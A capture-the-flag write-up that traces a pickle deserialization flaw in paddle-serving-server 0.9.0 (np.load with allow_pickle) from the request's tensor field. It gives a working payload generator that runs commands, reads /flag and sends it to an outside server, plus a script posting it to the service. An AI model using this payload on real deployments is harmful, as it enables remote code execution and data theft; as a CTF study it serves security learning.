RealWorld CTF 5th - Paddle Writeup:

solved this challenge with thezzisu

By reading docker, it is mainly the following modules:

1
2
3
4
paddle-serving-server==0.9.0 \
paddle-serving-client==0.9.0 \
paddle-serving-app==0.9.0 \
paddlepaddle==2.3.0

From WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service,CMD ["python", "web_service.py"] in dockerfile, it is known that the loading of its main body is mainly paddle-serving-server

Search through pypi and download to the source code https://files.pythonhosted.org/packages/17/2d/e0f69d0ca122dd9ba9f8467bead36df3a8479ac69c8a1f631f39092ebd65/paddle_serving_server-0.9.0-py3-none-any.whl
Or through the github project https://github.com/PaddlePaddle/Serving

combined with the relevant support of AI, you can find vulnerabilities here
https://github.com/PaddlePaddle/Serving/blob/bdf4ada65e40c9d8146b9aac14a8cf406d9ba37e/python/pipeline/operator.py#L1753

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
class RequestOp(Op):
"""
RequestOp is a special Op, for unpacking one request package. If the
request needs one special unpackaging method, you need to inherit class
RequestOp and rewrite function unpack_request_package.Notice!!! Class
RequestOp does not run preprocess, process, postprocess.
"""

def __init__(self):
"""
Initialize the RequestOp
"""
# PipelineService.name = "@DAGExecutor"
super(RequestOp, self).__init__(name="@DAGExecutor", input_ops=[])
# init op
try:
self.init_op()
except Exception as e:
_LOGGER.critical("Op(Request) Failed to init: {}".format(e))
os._exit(-1)

def proto_tensor_2_numpy(self, tensor):
"""
Convert proto tensor to numpy array, The supported types are as follows:
INT64
FP32
INT32
FP64
INT16
FP16
BF16
UINT8
INT8
BOOL
BYTES
Unsupported type:
STRING
COMPLEX64
COMPLEX128
Args:
tensor: one tensor in request.tensors.
Returns:
np_data: np.ndnumpy, the tensor data is converted to numpy.
lod_info: np.ndnumpy, lod info of the tensor data, None default.
"""
if tensor is None or tensor.elem_type is None or tensor.name is None:
_LOGGER.error("input params of tensor is wrong. tensor: {}".format(
tensor))
return None

# Set dim shape
dims = []
if tensor.shape is None:
dims.append(1)
else:
for one_dim in tensor.shape:
dims.append(one_dim)

# Set up 2-d lod tensor
np_lod = None
if len(tensor.lod) > 0:
np_lod = np.array(tensor.lod).astype(int32).reshape(2, -1)

np_data = None
_LOGGER.info("proto_to_numpy, name:{}, type:{}, dims:{}".format(
tensor.name, tensor.elem_type, dims))
if tensor.elem_type == 0:
# VarType: INT64
np_data = np.array(tensor.int64_data).astype(int64).reshape(dims)
elif tensor.elem_type == 1:
# VarType: FP32
np_data = np.array(tensor.float_data).astype(float32).reshape(dims)
elif tensor.elem_type == 2:
# VarType: INT32
np_data = np.array(tensor.int_data).astype(int32).reshape(dims)
elif tensor.elem_type == 3:
# VarType: FP64
np_data = np.array(tensor.float64_data).astype(float64).reshape(
dims)
elif tensor.elem_type == 4:
# VarType: INT16
np_data = np.array(tensor.int_data).astype(int16).reshape(dims)
elif tensor.elem_type == 5:
# VarType: FP16
np_data = np.array(tensor.float_data).astype(float16).reshape(dims)
elif tensor.elem_type == 6:
# VarType: BF16
np_data = np.array(tensor.uint32_data).astype(uint16).reshape(dims)
elif tensor.elem_type == 7:
# VarType: UINT8
np_data = np.array(tensor.uint32_data).astype(uint8).reshape(dims)
elif tensor.elem_type == 8:
# VarType: INT8
np_data = np.array(tensor.int_data).astype(int8).reshape(dims)
elif tensor.elem_type == 9:
# VarType: BOOL
np_data = np.array(tensor.bool_data).astype(bool).reshape(dims)
elif tensor.elem_type == 13:
# VarType: BYTES
byte_data = BytesIO(tensor.byte_data)
np_data = np.load(byte_data, allow_pickle=True)
else:
_LOGGER.error("Sorry, the type {} of tensor {} is not supported.".
format(tensor.elem_type, tensor.name))
raise ValueError(
"Sorry, the type {} of tensor {} is not supported.".format(
tensor.elem_type, tensor.name))

return np_data, np_lod

np_data = np.load(byte_data, allow_pickle=True) can trigger pickle deserialization

Tracing its call chain is as follows:

1
2
3
4
5
6
7
8
9
(paddle_serving_server/pipeline)
operator.py:1753 np_data = np.load(byte_data, allow_pickle=True)
operator.py:1763 unpack_request_package(self, request)
dag.py:799 unpack_func = op.unpack_request_package (in _build_dag)
dag.py:814 build(self)
dag.py:94 (in_channel, out_channel, pack_rpc_func,unpack_rpc_func) = self._dag.build()
dag.py:306 dictdata, log_id, prod_errcode, prod_errinfo = self._unpack_rpc_func(rpc_request)
dag.py:374 req_channeldata = self._pack_channeldata(rpc_request, data_id) (in call)
pipeline_server.py:73 resp = self._dag_executor.call(request)

It is speculated that Pickle deserialization can be triggered by constructing the tensor field in the request.

It is also known from the dockerfile that the flag is located at /flag

generate payload file code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import sys
import base64

PAYLOAD = """
import os
import requests
flag = os.popen('cat /flag').read()
url = '{VPS}' + flag
requests.get(url)
"""

class RCE:
def __reduce__(self):
return exec, (PAYLOAD,)

if __name__ == '__main__':
pickled = pickle.dumps(RCE())
with open('payload', 'wb') as f:
f.write(pickled)

Final exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import { execSync } from "child_process";
import { readFileSync } from "fs";

execSync(`python3 exploit.py`);

const payload = readFileSync("payload").toString("base64");

const resp = await fetch("http://47.88.23.73:33085/uci/prediction", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
key: ["x"],
value: [
"0.0137, -0.1136, 0.2553, -0.0692, 0.0582, -0.0727, -0.1583, -0.0584, 0.6283, 0.4919, 0.1856, 0.0795, -0.0332",
],
tensors: [
{
name: "A",
elem_type: "13",
byte_data: payload,
},
],
}),
});
console.log(await resp.text());